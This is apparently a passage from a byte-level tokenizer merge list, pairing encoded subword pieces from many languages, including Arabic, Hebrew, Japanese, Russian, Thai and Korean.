ìĸ´ +تش Ùĥ +تشÙĥ ÙĬÙĦ +ائ Ùĩ +Ġ׾פ ×Ĺ×ķת +ãĥĭ ãĥ¥ +ãĥĭãĥ¥ ãĥ¼ãĤ¹ +׼×IJ ף +ãģ§ãģį ãģŁ +зв он +Ġsta ÅĤ +×Ĺ×ijר ת×Ļ +ĠØ£ عÙĦÙĨ +à¹ģà¸ļà¸ļ à¸Ļีà¹ī +بد Ø¡ +ãĤģ ãģŁ +Ġ×ŀש ×ŀ×¢×ķת +Ġ×ŀש×ŀ×¢×ķת ×Ļ +ör ü +Ġh ạnh +z ähl +ĠL ý +Ġ×ij ×Ķת +Ġ×ij×Ķת ×IJ×Ŀ +б аÑĢ +ì¦ Ī +ä»ĬåĽŀ ãģ® +Ġy ü +Ġyü ks +Ġyüks el +ãĤ½ ãĥ¼ +ãģĤ ãĤĮ +ת ׾×ŀ×Ļ×ĵ +ãģ¤ ãģª +×ij ׳×Ļ×Ŀ +Ġx ếp +ĠмÑĥж Ñĩин +ĠاÙĦÙĥ تاب +׼ ×ŀ×ķת +Ġç e +Ġçe ÅŁ +ĠçeÅŁ it +ĠçeÅŁit li +×ĵ ×Ļר×ķת +à¸ļุ à¸į +ĠاÙĦØ¥ ÙĦÙĥ +ĠاÙĦØ¥ÙĦÙĥ ترÙĪ +ĠاÙĦØ¥ÙĦÙĥترÙĪ ÙĨÙĬ +ĠباÙĦØ¥ ض +ĠباÙĦإض اÙ쨩 +Ġyö nel +Ġyönel ik +mys ÅĤ +à¸Ķà¹īวย à¸ģาร +à¸ģาร à¸Ĺำ +ов Ñĭм +Ø£ زÙħØ© +æİ¢ ãģĹ +íļ ¨ +Ġ×ķ×IJ ×Ŀ +Ġnghi êm +ÑĪ Ð¸Ð½ +ка л +Ġcrian ças +èĩªåĪĨ ãģ§ +Ġн ай +Ġнай ÑĤи +ĠS á»ij +ĠÃ¶ÄŁrenc iler +ãĥ¶ æľĪ +Ñģ ан +ĠJ á +ĠkonuÅŁ ma +شر Ø· +ëĪ Ī +ar rière +ضر ÙĪØ±Ø© +ãĥĶ ãĥ³ +×¢ שר +аÑĢ ÑĮ +جÙħ اع +Ġdé co +Ġ×Ļ×Ķ ×ķ×ĵ×Ļ +à¸ŀ ลาà¸Ķ +ĠÙĬ ÙĥÙĨ +Ġج اÙħعة +Ø· بÙĤ +Ġbo ÅŁ +×ķ ×ķ×IJ +×ŀ×ĵ ×¢ +×§×ij×ķצ ת +פ ×Ļר +jÄħc ym +ÙħØ´ ا +Ùħشا ÙĥÙĦ +צ פ×ķף +Ø¥ ست +×ŀ׼ ר +سÙħ ع +Ġкак ой +ÑĤ воÑĢ +ØŃ ج +Ù쨱 ض +пÑĢав лен +Ġник ак +Ġmi á»ĩ +Ġmiá»ĩ ng +ü ÃŁ +иÑĢов ал +׾ ×ŀ×ķת +次 ãģ® +ÙĦ Ø· +à¸ķ ัà¸Ļ +×Ķ ×ª×Ĺ×Ļ׾ +Ġfoto ÄŁ +ĠfotoÄŁ raf +طر ØŃ +à¸Ńà¸Ńà¸ģ à¹Ħà¸Ľ +Ġy ên +Ġп ок +Ġпок Ñĥп +ĠпокÑĥп а +ÑĨ Ñĥ +Ġкомп ÑĮÑİ +ĠкомпÑĮÑİ ÑĤеÑĢ +ĠاÙĦÙĥ رÙĬÙħ +تص Ùħ +تصÙħ ÙĬÙħ +Ġоказ а +Ġzar ówn +Ġzarówn o +ëĮĢ ì¶ľ +ãĤ»ãĥ³ ãĤ¿ãĥ¼ +Ġjako ÅĽci +æĤ © +æĤ© ãģ¿ +Ø£ÙĨ ÙĪ +Ø£ÙĨÙĪ Ø§Ø¹ +ë¹ ł +Ġìłķ ë§IJ +Ġk ẻ +ĠÑģай ÑĤа +Ġ×Ķ ×¢×¨×ij +Ùĩ ز +pres ión +ĠÑģÑĤ ен +ãģ£ãģ¦ ãĤĭ +Ġhız lı +Ðļ ÐIJ +×ŀשפ ×Ĺת +ĠÙĨ Ùĩا +ĠÙĨÙĩا ÙĬØ© +ãģ¾ ãģĦ +о ÑħÑĢан +ร à¹īà¸Ńย +ล ึà¸ģ +ĠÙĪØ¨ اÙĦ +ãĤĤãģ® ãģĮ +ר׼ ×Ļ×ij +ãĤ¤ ãĥ¤ +س ؤ +سؤ اÙĦ +ĠÙĦØ£ÙĨ Ùĩ +ĠkonuÅŁ tu +Ðļ ÑĥпиÑĤÑĮ +Ġש×IJת ×Ķ +ĠÙĪØ§ÙĦ س +Ġmożliwo ÅĽci +Ġpró b +ëĶ ° +ãģ© ãĤĮ +ĠÐľ ин +ĠоÑĢганиз м +ãģ«å¯¾ ãģĻãĤĭ +ĠPr é +Ġpriv é +ch è +ãģĦãģŁãģł ãģį +สà¸Ļุ à¸ģ +ajÄħ ce +ĠD zi +ĠDzi ÄĻki +ÅĤat w +r än +rän k +æĿ¥ ãģŁ +Ġ×Ķ×Ļ×Ķ ×ķ×ĵ×Ļ +ãĤ¬ ãĥ¼ +ĠÑĢаР´ +ĠÑĢад и +к ÑĤив +Ø£ Ùĩد +Ø£Ùĩد اÙģ +ש ×IJ×Ļר +ãģ¦ ãģĦãģªãģĦ +Ġfr üh +Ġок ол +Ġокол о +Ġreg ião +ĠÑĩиÑģ ле +Ġpon iew +Ġponiew aż +ìĦ¼ íĦ° +Ġb ầu +Ġê · +Ġê· ľ +Ġê·ľ ìłķ +ĠH òa +ĠÑĤ оÑĤ +ãĤĤ å¤ļãģĦ +ĠاÙĦإسÙĦاÙħ ÙĬØ© +ãģĭ ãģĦ +Ñį н +ĠÑĥказ ан +ĠÑĤак ое +ï¼ ³ +ëĮĢ íķĻ +Ġgen iÅŁ +ĠاÙĦØ® ÙĬ +ĠاÙĦØ®ÙĬ ارات +ãĤĴè¡Į ãģĨ +ש ×ŀ×Ķ +ĠLÃł m +ÙĪÙĨ ÙĬ +Ġ×IJ ׾×Ļ×ķ +Ä ĺ +à¹Ħมà¹Ī สามารà¸ĸ +人 ãģ¨ +بر ز +×Ļס ×ķ×ĵ +×Ĵ ׾×Ļ +ĠÙĬ ÙĨا +ĠÙĬÙĨا ÙĬر +ĠкаÑĢÑĤ ин +Ġt ôn +à¹Ģ à¸ģร +à¸Ħ à¸Ķี +Ġ׾×IJ ×ķר×ļ +ãĤĤãĤī ãģĨ +ãģĭ ãģĭãĤĭ +ани и +Ġara ÅŁtırma +ÙĦاØŃ ظ +ãģĦ ãĤĦ +ĠT Ãłi +Ġ à¸Ļà¸Ńà¸ģà¸Īาà¸ģ +Ġà¸Ļà¸Ńà¸ģà¸Īาà¸ģ à¸Ļีà¹ī +ĠÄIJ ảng +ãģ£ãģ¦ ãģįãģŁ +Ġà¸ĭึà¹Īà¸ĩ à¹Ģà¸Ľà¹ĩà¸Ļ +Ġt ả +Ġmożliwo ÅĽÄĩ +ĠS ản +Ġİ ki +Ġc ắt +س Ø£ÙĦ +Ġbak ım +Ø´ ب +à¸ķ ีà¹ī +à¸ŀ ยาย +à¸ŀยาย าม +สั à¸Ľ +à¸ªà¸±à¸Ľ à¸Ķา +à¸ªà¸±à¸Ľà¸Ķา หà¹Į +ë° Ģ +еÑĢ Ñĭ +Ġc ánh +Ġthu ế +ت بع +ãģ«åħ¥ ãĤĮ +Ñİ ÑģÑĮ +íļĮ ìĿĺ +ç°¡ åį +ç°¡åį ĺ +ç°¡åįĺ ãģ« +Ġtr úc +ĠاÙĦÙĥ ÙĪÙĬ +ĠاÙĦÙĥÙĪÙĬ ت +ãĤıãģij ãģ§ãģĻ +ĠÑģв об +ĠÑģвоб од +ĠÑĥÑĩаÑģÑĤ ник +สิ à¹īà¸Ļ +ĠпÑĢо ÑĦеÑģÑģиона +ĠпÑĢоÑĦеÑģÑģиона лÑĮн +Ñģп оÑĢ +×Ĺ ×ķ×ij×Ķ +Ùħع ÙĨÙī +ĠاÙĦÙģ ØªØ±Ø© +สูà¸ĩ สุà¸Ķ +ãĤı ãģļ +ĠÄij è +ĠÄijè n +æ¯Ķ ãģ¹ +า à¸ĺิ +Ġmoż emy +à¹ģ à¸ĭ +à¸Īะ à¹Ħมà¹Ī +Ġs ắp +Ðļ Ðŀ +Ġprá ctica +ÙĪÙĥ اÙĦØ© +è¾¼ ãĤĵãģ§ +ológ ica +Ġе Ñī +ĠеÑī Ñij +تع دÙĬÙĦ +ĠØ£ Ùĥد +Ġצר ×Ļ׼ +Ġצר×Ļ׼ ×Ļ×Ŀ +Ø« Ùħ +Ġк ÑĢÑĥ +ĠкÑĢÑĥ п +×ij×Ļ×§ ×ķרת +Ġì¡° ê¸Ī +ãģ¨ãģį ãģ¯ +Ġb ạc +ĠÑĢаÑģ пол +ĠÑĢаÑģпол ож +ĠÑĢаÑģполож ен +ز ÙĬÙĨ +ĠÐļ ÑĢоме +ĠاÙĦÙĨ ظر +×Ķ ×ķ×ĵ +ĠاÙĦس بت +ã썿ĢĿ ãģĦ +Ġpa ÅĦst +ĠpaÅĦst w +ĠÙĦÙĬ ست +ĠбÑĥд Ñĥ +à¸Ĺัà¸Ļ à¸Ĺี +ร าม +ØŃ صÙĪÙĦ +ãģĹãģ¦ãģıãĤĮ ãĤĭ +ĠاÙĦØ¥ سرائÙĬÙĦ +ĠاÙĦإسرائÙĬÙĦ ÙĬ +ãģĵãĤĮ ãģ¾ãģ§ +ìĤ¬ 를 +Ġs ürü +à¹Ģว à¸Ńรà¹Į +à¹Ģà¸ĭ à¸Ńรà¹Į +Ġutilis é +ĠÑģиÑģÑĤем а +Ġdw ó +Ġdwó ch +Ġpróp rio +Ġëĵ± ìĿĦ +arr êt +ĠЧ а +×IJ×ŀ ׳×ķת +عار ض +à¹Ģà¸ģม สà¹Į +Ġ׾×Ķ ×ij×Ļף +Ġ׾ ×ij×Ĺ +Ġ׾×ij×Ĺ ×ķר +สา à¸Ĥา +ĠÐľÐ¾Ñģк ве +ب عد +ĠاÙĦÙĤر ار +ĠÄIJ á»ĭa +Ġ×Ĺ ×Ĵ +Ùģ ØªØ± +ÙĪÙĨ Ø© +Ġ×Ķ×ĸ ×IJת +å¸Ĥ ãģ® +ãģ» ãģĹãģĦ +Ġ×ij×¢ ×Ļר +ĠÑĤеп еÑĢÑĮ +ìĬµ ëĭĪê¹Į +à¹Ħม à¹Īว +à¹Ħมà¹Īว à¹Īา +à¹Ħมà¹Īวà¹Īา à¸Īะ +×ŀ ×IJ×Ķ +æĥħ åł± +æĥħåł± ãĤĴ +غ ÙĨ +Ġпо Ñı +ĠпоÑı ви +éģİ ãģĶ +تش غ +تشغ ÙĬÙĦ +в ел +Ġ×Ĺ ×ŀ +ãģ¨ãģªãĤĬ ãģ¾ãģĻ +Ġra ÄŁ +ĠraÄŁ men +ãģĭ ãģ©ãģĨ +ãģĭãģ©ãģĨ ãģĭ +ен ко +ì§Ģ ê³ł +Ġ×IJ׾ ×Ļ×Ķ +ĠØ£ ÙĦ +à¸Īำ หà¸Ļ +à¸Īำหà¸Ļ à¹Īาย +nız ı +Ġ׾ק ×Ĺת +Ø£ ÙĩÙħ +Ø£ÙĩÙħ ÙĬØ© +ت غÙĬر +ש ×Ĺר +ס×ķפ ר +×ĵ ×Ļר +èī¯ ãģĭãģ£ãģŁ +×ŀ׾×Ĺ ×ŀ×Ķ +ÑģÑĤв ие +ÑĤ ÑĢаÑĤ +ĠاÙĦØ£ Ø® +ĠاÙĦأخ ÙĬرة +ĠاÙĦØŃ صÙĪÙĦ +Ġcréd ito +צ ×Ļ×¢ +ãĥ¬ ãĥĻãĥ« +بر ÙĬ +ëIJ IJ +ãģł ãģ£ãģ¦ +Ġreal tÃł +س Ù쨱 +×ķ׳ ×ķ +×Ĵ ×ķ×ĵ +×Ĵ×ķ×ĵ ׾ +ฮ า +ãģĹãģ¦ ãģĬãĤĬãģ¾ãģĻ +Ġg Ãł +Ġ׾×ij צע +å¼ķ è¶ĬãģĹ +Ġ×ŀ ×Ļ׾×Ļ +Ġ×ŀ×Ļ׾×Ļ ×ķף +Ùħ در +Ùħدر سة +פ ×ķ×ĺ +à¸Ļà¹īำ มัà¸Ļ +ëģ Ŀ +ع Ùĥس +ĠÙĤ ض +ĠÑĢÑĭ б +خط Ø· +×ŀ×ķס ×ĵ +Ġ׼׾ ׾×Ļ +ĠкоÑĤоÑĢ Ð¾Ðµ +צ×Ļ ×ķף +ĠмеÑģÑĤ а +ãģĭ ãģ¤ +г ÑĢÑĥпп +׾ ×Ļ׾ +ת ×ķ×IJר +ë³µ ì§Ģ +à¹ģà¸ľ à¹Īà¸Ļ +Ġ×ij×¢ ת +æĻĤéĸĵ ãĤĴ +ï¼ £ +ãģ¨ãģĦãģĨãģĵãģ¨ ãģ§ +Ġ׾×Ķ ×§ +Ġ׾ ×ĸ×Ķ +ĠìłĢ ëĬĶ +ĠاÙĦØ¥ رÙĩاب +ĠìŀĪëĬĶ ëį° +ĠÑĤ огда +Ġ×Ķ ×¦×Ļ +×ķ׾ ×ĺ +Ġר פ×ķ×IJ×Ļ +ãģĵãģ¨ ãģ§ãģĻ +ĠÄij ÃŃch +ØŃ ÙĬا +Ġ×Ķ×ŀש ×Ĺ×§ +ãģľ ãģ² +Ġ×ŀ×IJ פשר +ãģ¿ ãģ¾ãģĹãģŁ +ĠاÙĦØ£ÙħÙĬر ÙĥÙĬ +Ùħج تÙħع +Ġس اب +Ġساب ÙĤ +׼ ×Ļ׾ +Ạ¾ +ãĥª ãĤ¹ãĥĪ +Ġì ĥ +Ġìĥ Ī +ĠìĥĪ ë¡ľ +ĠìĥĪë¡ľ ìļ´ +ĠD á»ĭch +à¹Ģหมาะ สม +ĠاÙĦÙĨ بÙĬ +׾ ׾ +ÙĨ ع +Ðĵ лав +Ðĵлав наÑı +Ùħر ض +Ġ×ķ ×ĵ +ت ÙĤÙĬ +تÙĤÙĬ ÙĬÙħ +Ġb ảng +ĠÙģ ÙĤاÙĦ +×¢ ×ŀ×Ļ +д ÑĢа +Ġsu á»ijt +سر عة +Ġc á»Ń +Ġ×Ķ ×Ļ×Ĺ×Ļ×ĵ +سع ÙĬد +à¸Ńา à¸Ĭีà¸ŀ +Ġس ÙĪØ§Ø¡ +ãĤ½ ãĥķãĥĪ +Ġл иÑĩно +ĠÐļ оÑĢ +اÙĩ تÙħ +اÙĩتÙħ اÙħ +à¸Ń à¸Ķี +à¸Ńà¸Ķี à¸ķ +ãģIJ ãĤīãģĦ +Ġiht iya +Ġihtiya ç +ãģ¾ãģ§ ãģ® +ìĭľ ìĬ¤ +ìĭľìĬ¤ íħľ +ÑĢÑĥ ÑĪ +ãĤĦ ãģ£ãģ± +ãĤĦãģ£ãģ± ãĤĬ +к еÑĢ +Ġ ży +Ġży w +кл он +Ġl ượt +à ¾ +да Ñĩи +tür k +غ ÙĪ +ĠигÑĢ Ð¾Ðº +Ġph ê +Ġש ×¢×ľ +ĠاÙĦÙħ دÙĨÙĬ +ĠìŬ룬 ë¶Ħ +ער ×Ļ×Ŀ +Ñħод ÑıÑĤ +Ġx ứ +ÐĹ Ð° +ĠÙģ Ø±Øµ +à¸Īะ à¸Ĺำà¹ĥหà¹ī +íģ ´ +×¢ ×ij×ķר +à¹Ģหลà¹Īา à¸Ļีà¹ī +èĢĥãģĪ ãĤĭ +ÑĢ ÐµÑģÑĤ +н нÑĭй +Ġc ầm +دا Ø®ÙĦ +ĠÙħÙĦÙĬ ار +ĠÐIJ л +ĠвÑĢем ен +à¸Ĭà¹Īวย à¹ĥหà¹ī +ר×Ļ ×ķת +ëĵ ¯ +飲 ãģ¿ +׳ ׾ +שת ×£ +ĠاÙĦسعÙĪØ¯ ÙĬ +u ÃŁ +ìĿ¸ ëį° +ĠìĿ¼ ë°ĺ +ÅĤ ÄĻ +Ġm á»iji +×ŀ ×Ļ׳ +ĠاÙĦØ£ Ø·Ù쨧ÙĦ +Ġçı kan +é cole +×§ ×Ļש +×§×Ļש ×ķר +ĠоÑģ ÑĥÑīеÑģÑĤв +ĠоÑģÑĥÑīеÑģÑĤв лÑı +×ij ×IJר +à¹Ħà¸Ľ à¸Ķà¹īวย +Ġ×¢ ×ķ׾×Ķ +à¸ģà¹ĩ à¹Ħมà¹Ī +ãĥ¢ ãĥĩ +ãĥ¢ãĥĩ ãĥ« +تØŃ ÙĪÙĦ +Ġод ного +ת×Ĺ×Ļ׾ ת +Ġت Ø® +Ġch cia +Ġchcia ÅĤ +ãĥIJ ãĥ³ +èĢħ ãģ¯ +ĠÙħ ØŃÙĦ +Ñģл ож +Ñģлож н +Ġt ÄĻ +Ġçı kt +Ġçıkt ı +ĠC Æ¡ +à¹Ħà¸Ķà¹ī à¹Ģลย +ır ken +à¹Ģà¸Ĥà¹īา สูà¹Ī +ÙħØŃ Ùĥ +ÙħØŃÙĥ ÙħØ© +à¸Ħุ à¹īม +à¸Ļà¹Īา à¸Īะ +лÑİ Ð´ +де ÑģÑı +деÑģÑı ÑĤ +ĠлÑİб ой +تØŃر ÙĬر +צע ×ĵ +Ġе Ñij +ĠاÙĦØŃ ÙĥÙħ +Ġص باØŃ +à¹Ģà¸ļ à¸Ńรà¹Į +Ġróż nych +ги б +ĠÑģ оÑĤ +ĠÑģоÑĤ ÑĢÑĥд +ĠÑģоÑĤÑĢÑĥд ник +ĠобÑĬ ем +פ ×ĺר +ãģĻãģĶ ãģı +ãģ«éĸ¢ ãģĹãģ¦ +в ол +Ø« ÙħاÙĨ +Ġd ần +æĬ ľ +æĬľ ãģij +Ġ×¢ ש +Ġעש ×ķ×Ļ +ס ×ķף +ãģªãģ® ãģ§ãģĻ +ãģ¯ ãģ©ãģĨ +×ŀ×¢ ר×ij +ï¼ ° +Ùħ صر +ÙħÙĨ اسب +ÙħÙĨاسب Ø© +ä¸Ĭ ãģ® +×IJ×Ļש ×ķר +ĠìĦ¤ ì¹ĺ +×ŀ×ĵ×Ļ׳ ×ķת +×ŀר ת +ãĤĭ ãģ®ãģĮ +د Ùİ +ĠاÙĦشر Ùĥات +ìĭľ ê°Ħ +ĠÑĢеÑĪ ÐµÐ½Ð¸Ðµ +ãģĻãĤĭ ãģ®ãģ¯ +ĠìŀIJìĭł ìĿĺ +׾ ×ŀ×ķ +ãģ¨ãģĵãĤį ãģ§ +Ġ×§ צר +Ġmã i +Ġkü ltür +ãĥ©ãĤ¤ ãĥĸ +à¸ľà¸¹à¹ī หà¸įิà¸ĩ +æĻĤéĸĵ ãģĮ +клÑİÑĩ и +diÄŁ iniz +มาà¸ģ à¹Ĩ +تØŃ ÙħÙĦ +Ġh ạt +ãĤ¦ ãĤ£ +п ле +×ŀ ׾×IJ +ÅĤ ó +Ġg á»ijc +Ġ×IJ ×ķ×ĵ×ķת +หว าà¸Ļ +ĠاÙĦ ÙĪØ² +ĠاÙĦÙĪØ² راء +ëĵ¤ ê³¼ +Ġص ØŃ +ĠصØŃ ÙĬÙ쨩 +Ġм м +تد Ø®ÙĦ +Ġpersön lich +Ġز ÙĬ +ĠزÙĬ ادة +ãĤ· ãĤ¢ +Ġng ắn +à¸Ħล ิà¸ģ +Ġs ông +Ġtü ket +Ñį ÑĦÑĦ +ÑįÑĦÑĦ екÑĤ +ש ×Ļ×ij +Ġا عت +ت ض +تض ÙħÙĨ +ĠاÙĦÙħØ´ رÙĪØ¹ +Ġprodu ção +ĠпÑĢимен Ñı +ни ÑĨÑĭ +주 ëĬĶ +ر Ùı +Ġm Æ¡ +Ġhayat ı +ëŁ ½ +Ġü cret +Ġyan ında +Ġpr ática +×ij×Ļ×§ ×ķר +Ãľ N +Ñģ оÑĤ +ãĤıãģij ãģ§ +Ġдол го +ת ׼×ķ +ĠìķĦ ëĭĮ +ë į°ìĿ´ +Ġç iz +Ġcho Äĩ +Ġ×Ķ ×Ļת +Ġ×Ķ×Ļת ר +Ġso át +׼ ×ij×ĵ +à¹Ģล à¹Īา +Ġд еÑĢ +ĠдеÑĢ ÐµÐ² +ãĤĴ åħ¥ãĤĮ +×Ĺ ×ķס +×Ĺ×ķס ר +ج ÙĬÙĨ +t ón +onn é +Ġпол ноÑģÑĤÑĮÑİ +人 ãģŁãģ¡ +Ġpr êt +ëł ¸ +Ġdéc embre +cı lar +Ġת ת +Ġê²½ìļ° ìĹIJëĬĶ +ÙĪ Ø¹Ø¯ +è¦ĭ ãĤĭ +วิ à¸Īัย +ë ¶Ī +ز ÙĪØ§ +زÙĪØ§ ج +d ì +ãģ§ãģĻ ãĤĪ +Ġвод о +ĠÙĬ ÙĪØ¬Ø¯ +Ñģ оÑģÑĤоÑı +Ðŀ С +ĠÄIJ ó +׊פש +Ġצ ×Ļ×ij×ķר +ĠاÙĦÙĤ Ø· +ĠاÙĦÙĤØ· اع +Ġиме ÑİÑĤ +Ġph áºŃn +×Ľ×¡ פ×Ļ +полн иÑĤелÑĮ +éĻIJ ãĤĬ +ĠÑģ ÑĢав +ĠÑģÑĢав н +ÙħاÙĦ Ùĥ +×ĵר ×ķ×Ŀ +çļĨ ãģķãĤĵ +ØŃÙĤ ÙĤ +à¹ģหล à¹Īà¸ĩ +ĠاÙĦر سÙħÙĬ +оÑĩ ки +×ĺ ×ij×Ĺ +Ġcan lı +Ġ׾ ׾ +Ġ׾׾ ×ŀ×ķ×ĵ +×ŀ×ij ×ķ +ת ׼ +×ª×Ľ ׳×Ļת +ĠاÙĦÙħ شار +ĠاÙĦÙħشار ÙĥØ© +İ Åŀ +ĠسÙĬ اسÙĬ +в олÑĮ +ĠÑģ пÑĢав +æĿ¥ ãģ¦ +פ×ķר ×ķ×Ŀ +สำ à¹Ģรà¹ĩ +สำà¹Ģรà¹ĩ à¸Ī +ĠÅŁ öyle +Ġzosta ÅĤa +ĠH ü +ר ×ķש +د ÙĦÙĬÙĦ +ÑĢи д +ש ף +×ŀ×§ ×ķר +ĠÑĥ Ñĩ +ĠÑĥÑĩ еб +ĠÑį ÑĤа +ков а +à¸ķà¸Ļ à¹Ģà¸Ńà¸ĩ +ÙĨ ÙIJ +à¸Ńีà¸ģ à¸Ħรัà¹īà¸ĩ +ระ à¸ļุ +Ġd ữ +ĠاÙĦØŃ اÙĦÙĬ +׼ ×ķ׼ +׼×ķ׼ ×ij +Ġ×ŀ×IJ שר +Ġtr ụ +ÑĤел ем +Ġв ли +Ġвли Ñı +Ġש×IJת ×Ŀ +Ġuw ag +Ġuwag ÄĻ +×ĺ ×Ļת +×IJ ×ĵ×Ŀ +à¸Ķ ุ +Ġ×Ķ×IJ ׾×Ķ +Ġkar Ä±ÅŁ +ĠÄIJ á»iji +да ÑİÑĤ +ãģªãģ® ãģ« +Äħ cych +à¹Ģà¸Ļ à¹īà¸Ļ +ãģĹãģ¦ ãģĹãģ¾ãģĨ +int érieur +ĠfÃŃs ica +ĠÐŁ ол +ãģĹãģ ķ +à¸Ĺำ à¹Ħม +ĠL âm +ĠاÙĦÙħ سÙĦÙħ +ĠاÙĦÙħسÙĦÙħ ÙĬÙĨ +ص ØŃØ© +ìĹ Ħ +à¹Ģà¸Ķà¹ĩ à¸Ķ +ĠÑĥ ÑĩеÑĤ +â Ìģ +Ġب ÙĦا +ĠاÙĦاجتÙħاع ÙĬ +פרס ×Ŀ +ãĥķ ãĥ© +ĠÐļ огда +mie ÅĽci +ĠبÙĬÙĨ Ùħا +Ġ×ŀ×IJ ×ŀר×Ļ×Ŀ +Ġ×ij×IJ ×ĸ×ķר +×ķש ×Ļ×Ŀ +ĠÑģдел а +entr ée +à¹Ģ à¸Ħà¹īา +Ñĥг л +ĠاÙĦÙģ ÙĨÙĬ +ĠÐĴ оÑĤ +à¸Ĺีà¹Ī มา +×ķצ ×Ĵ +ÙĤد رة +Ġëª © +Ġ목 ìłģ +íıī ê°Ģ +ĠاÙĦØ£ ربع +ĠاÙĦأربع اء +פס ×Ļ×§ +ĠÑıвлÑı ÑİÑĤÑģÑı +ب ÙĪÙĨ +ì° ¾ +×ŀ×¢ ר׼ +×ŀ×¢×¨×Ľ ×ķת +ãĤ· ãĤ§ +ĠباÙĦ Ø£ +íĸĪ ëįĺ +ĠاÙĦبر ÙĨاÙħج +ĠاÙĦØ£ ØŃد +Ġm Å© +ĠmÅ© i +п аÑĤ +ب Ø« +ĠÑĨ енÑĭ +Ġ×ijת ׾ +è¨Ģ ãĤıãĤĮ +ĠاÙĦÙħ جاÙĦ +ĠìĦ¸ ìĥģ +Ġ×Ĵ ×ķפ +ĠнаÑĪ ÐµÐ¹ +Ġкомп аниÑı +б ин +öl ü +×Ļ ×Ļ×ĺ +Ġ×ŀס פ×Ļ×§ +ยัà¸ĩ à¸Ħà¸ĩ +ĠЧ и +Ġан ÑĤи +ĠÑģÑĢед и +สà¹Īวà¸Ļ à¹ĥหà¸įà¹Ī +оÑĩ ка +íĬ¹ ë³Ħ +ว à¹Īาà¸ĩ +гоÑĢ Ð¾Ð´ +با Ùĥ +à¹Ģส ีà¹Īย +à¹Ģสีà¹Īย à¸ĩ +ãĤĤãĤī ãģĦ +×§ ×ķ×Ŀ +ãģĽ ãģļ +ĠاÙĦÙĤ اÙĩرة +Ġ×ij ׼×ļ +Ùħشار ÙĬع +باØŃ Ø« +Ġпо Ñĩ +ĠпоÑĩ ÑĤи +ĠÑĦоÑĢм а +S İ +Ġ×ŀצ ×Ļ×¢ +ล ื +ลื ม +ĠÑĤ еÑĢ +ĠÑĤеÑĢ ÑĢиÑĤоÑĢ +ĠÑĤеÑĢÑĢиÑĤоÑĢ Ð¸Ð¸ +Ġв меÑģÑĤ +ĠвмеÑģÑĤ е +dıkl arı +op ération +à¹Ĥ ห +ص دÙĬ +صدÙĬ ÙĤ +íĸī ìłķ +تج ا +تجا ÙĪØ² +Ġsu ç +Ġar ty +Ġarty ku +Ġartyku ÅĤ +ãĤ·ãĥ§ ãĥĥãĥĹ +ש פ +שפ ×Ļ×¢ +Ġ×Ķש ×Ļר×ķת +à¹ģà¸ĸ ม +ë¸ Ķ +Ġuk ÅĤad +Ġ×ķ ׼×Ļ +หล าà¸ģ +หลาà¸ģ หลาย +æĸ¹ ãĤĤ +Ġpodr óż +ĠE ÄŁer +Ġком наÑĤ +ĠÑģам ÑĭÑħ +Ġв кÑĥÑģ +б еж +Ġ×ij ×§×ķ +æİĽ ãģij +ãģ¿ ãĤĭãģ¨ +ĠiliÅŁ kin +ĠÙĬ عÙħÙĦ +Ġпод аÑĢ +Ġyaz ılı +ãĤĴ å¾Ĺ +Ġwyst ÄĻp +à¸Ĺีà¹Ī à¹ĥà¸Ĭà¹ī +ØŃاد Ø« +ÙĪ ÙĬد +кÑĥ лÑĮÑĤ +кÑĥлÑĮÑĤ ÑĥÑĢ +à¸ģาร à¹ģà¸Ĥà¹Īà¸ĩ +à¸ģารà¹ģà¸Ĥà¹Īà¸ĩ à¸Ĥ +à¸ģารà¹ģà¸Ĥà¹Īà¸ĩà¸Ĥ ัà¸Ļ +ÙħÙĪ Ø¸ +ÙħÙĪØ¸ Ùģ +ÙĬÙħ ÙĬ +ãĤĵãģ§ãģĻ ãģĮ +diÄŁ im +diÄŁim iz +ĠÐŁ еÑĢ +ĠÐŁÐµÑĢ Ð² +Ġm ão +ĠÑģ ез +ĠÑģез он +Ġ×Ķ×ŀ ×¢ +Ùħ جÙħÙĪØ¹Ø© +ĠинÑĦоÑĢм аÑĨии +i ếc +ã ng +ĠÄij ấy +ãģĶ ç´ +ãģĶç´ ¹ +ãģĶç´¹ ä»ĭ +Ġad ım +à¹Ħ หล +Ġп ÑĢакÑĤи +ĠпÑĢакÑĤи Ñĩ +ĠпÑĢакÑĤиÑĩ еÑģ +ĠпÑĢакÑĤиÑĩеÑģ ки +ĠاÙĦÙĨ Ù쨳 +ĠÑĢабоÑĤ е +ÙĦÙĬ Ùģ +ĠاÙĦجÙĨ ÙĪØ¨ +Ġвод Ñĭ +ì¹ Ļ +Ġм иÑĢа +ĠÄij ừng +ĠпÑĢоÑĤив о +ĠÑģÑĤÑĢан Ñĭ +ล ู +ìĤ ¶ +kre ÅĽl +Ġbul und +Ġbulund uÄŁu +à¹ģ สà¸Ļ +ãĤ± ãĤ¢ +ת×Ĺ ×ķ×ŀ×Ļ +ר׼ ×Ķ +Ġ׾ק ×ķ×Ĺ +Ġ׾ק×ķ×Ĺ ×ķת +Ġ×Ľ×ª ×ķ×ijת +ĠÙĦ ÙĥÙħ +ب شر +Ġr Ãłng +Ġ×ŀ×Ķ ×ŀ +Ġ×IJ×Ĺר ×ķת +Ġб он +Ġбон ÑĥÑģ +ï½ Ĺ +à¹ģ ยà¸ģ +ãģĤãģªãģŁ ãģ® +ĠÑĥÑĩаÑģÑĤ ие +ĠE yl +ĠEyl ül +ĠçalÄ±ÅŁmalar ı +Ø® طر +ìĿ ½ +à¸ģาร à¹ĥà¸Ĭà¹īà¸ĩาà¸Ļ +Ġана лиз +תק ×ij׾ +ни ем +Ġİ ns +Ġİns an +ĠبÙĪ Ø§Ø³ +ĠبÙĪØ§Ø³ طة +Ġ׳ ×Ľ×ł×¡ +Ġ×Ķ×ŀ ×Ļ×ĵ×¢ +Ġç o +Ġço ÄŁu +á» ĺ +ĠêµŃ 민 +ãĤĤ ãģĦãģĦ +Ġ׼ ׾×Ļ +ĠÑģÑĢед не +g ÅĤo +gÅĤo ÅĽ +Ġneg ó +Ġnegó cio +ĠÑĢ ÐµÐ³Ð¸ÑģÑĤ +ĠÑĢегиÑģÑĤ ÑĢа +ĠÑĢегиÑģÑĤÑĢа ÑĨии +Ġtr á»ĵng +ĠпÑĢ Ñı +ĠпÑĢÑı мо +ëłĪ ìĿ´ +Ġk ém +к ле +à¸Ļำ มา +ĠÑĦ ин +ĠÑĦин анÑģ +ĠÑĦинанÑģ ов +Ġki á»ĩm +ยัà¸ĩ à¹Ħ +ยัà¸ĩà¹Ħ à¸ĩ +ย ิà¸ĩ +à¹Ĥ 